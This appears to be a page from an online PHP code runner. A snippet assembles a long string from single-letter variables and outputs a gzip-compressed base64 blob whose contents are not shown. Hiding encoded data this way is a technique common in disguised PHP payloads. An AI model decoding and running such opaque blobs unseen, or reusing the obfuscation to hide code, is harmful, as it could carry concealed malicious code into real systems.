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run code in 200+ php & hhvm versions
Bugs & Features
<?php $A='A';$B='B';$C='C';$D='D';$E='E';$F='F';$G='G';$H='H';$I='I';$J='J';$K='K';$L='L';$M='M';$N='N';$O='O';$P='P';$Q='Q';$R='R';$S='S';$T='T';$U='U';$V='V';$W='W';$X='X';$Y='Y';$Z='Z';$a='a';$b='b';$c='c';$d='d';$e='e';$f='f';$g='g';$h='h';$i='i';$j='j';$k='k';$l='l';$m='m';$n='n';$o='o';$p='p';$q='q';$r='r';$s='s';$t='t';$u='u';$v='v';$w='w';$x='x';$y='y';$z='z'; echo "${H}4${s}${I}${C}${J}${B}${Q}${z}${F}${Y}${A}${A}3${d}${h}${d}${A}${C}${l}${U}${m}1${L}${w}${z}${A}${Q}/${i}2${m}${w}${t}${J}${b}${W}${y}${r}${K}${p}${J}${Z}+${k}${I}3${B}${E}${M}${V}${S}${F}${h}${d}${W}${n}${W}3${X}${L}${T}${W}1${g}${T}${G}${x}${d}${F}${j}/${u}${s}${l}${W}${x}${e}${E}2${E}${c}${P}${l}7${s}${m}95${S}${G}5${y}${O}${v}${Y}${H}${T}${f}${x}${E}${H}${J}${f}${W}${Z}${a}${n}${O}${D}${J}${N}${f}${Z}${V}4${w}${X}${K}${R}${F}${X}${N}${r}${t}${h}${D}${P}${X}${R}${Y}${t}${u}${m}${K}${a}4${h}${P}7${A}${S}${X}${z}${K}${i}1${r}${u}${O}${E}1${P}${x}7${E}${v}${A}${x}${f}${b}${L}${l}${m}${o}${o}${Y}${Q}${c}${Z}${t}${p}${c}${A}5${z}${X}${k}${F}${a}${F}${o}${A}${j}${h}${w}${y}${u}${e}${i}${a}${h}${Q}${c}9${Q}${y}${P}${W}${d}${c}${Y}${g}${I}${N}${g}${j}${W}${G}6${v}${M}${G}${n}8${B}${c}${y}27${U}${j}7${x}${J}${u}${O}7${y}9${g}${q}2${B}${n}/5${Z}${L}${t}${R}${v}${s}5${H}${K}${b}5${T}${x}${L}7${b}${v}${l}7${l}${x}9${E}9${r}${z}${n}${w}${X}${g}${D}${q}${M}${s}${c}${w}${x}${X}${O}${m}${J}${L}${e}${p}${E}+${I}${i}${N}${W}${H}${B}${k}${o}${N}${C}6${X}9${C}+${a}${w}9${r}${B}4${J}${C}${M}${a}${k}${A}${l}1${h}${X}${W}${f}535${x}${K}898${z}${K}${h}0${r}${S}${v}${l}${z}${u}${N}${N}${G}${r}${l}${W}${Y}${j}0${J}2${W}${F}${E}${h}${c}${q}${Y}${U}${A}${z}${J}${F}${K}${r}3${m}${t}${Z}${l}${f}${w}${q}${W}${H}${K}${g}${s}${L}${o}${F}${r}${d}${o}${j}${y}${d}${F}${a}${U}0${k}${E}${Y}${Z}${B}${C}2${z}${p}${q}${Y}${H}${L}${k}${j}${F}${r}${Z}${O}${P}${c}3${O}${N}${A}38${O}2${A}${a}${s}${p}${J}${m}${X}${i}+${X}${O}${N}${L}1${d}${v}${L}2${A}${Y}${x}${C}${Y}57${k}${A}${g}${A}${A}";
Output for 5.5.0 - 5.6.30, hhvm-3.12.14 - 3.22.0, 7.0.0 - 7.2.6
H4sICJBQzFYAA3dhdAClUm1LwzAQ/i2mwtJbWyrKpJZ+kI3BEMVSFhdWnW3XLTW1gTGxdFj/uslWxeE2EcPl7sm95SG5yOvYHTfxEHJfWZanODJNfZV4wXKRFXNrthDPXRYtumKa4hP7ASXzKi1ruOE1Px7EvAxfbLlmooYQcZtpcA5zXkFaFoAjhwyueiahQc9QyPWdcYgINgjWG6vMGn8Bcy27Uj7xJuO7y9gq2Bn/5ZLtRvs5HKb5TxL7bvl7lx9E9rznwXgDqMscwxXOmJLepE+IiNWHBkoNC6X9C+aw9rB4JCMakAl1hXWf535xK898zKh0rSvlzuNNGrlWYj0J2WFEhcqYUAzJFKr3mtZlfwqWHKgsLoFrdojydFaU0kEYZBC2zpqYHLkjFrZOPc3ONA38O2AaspJmXi+XONL1dvL2AYxCY57kAgAA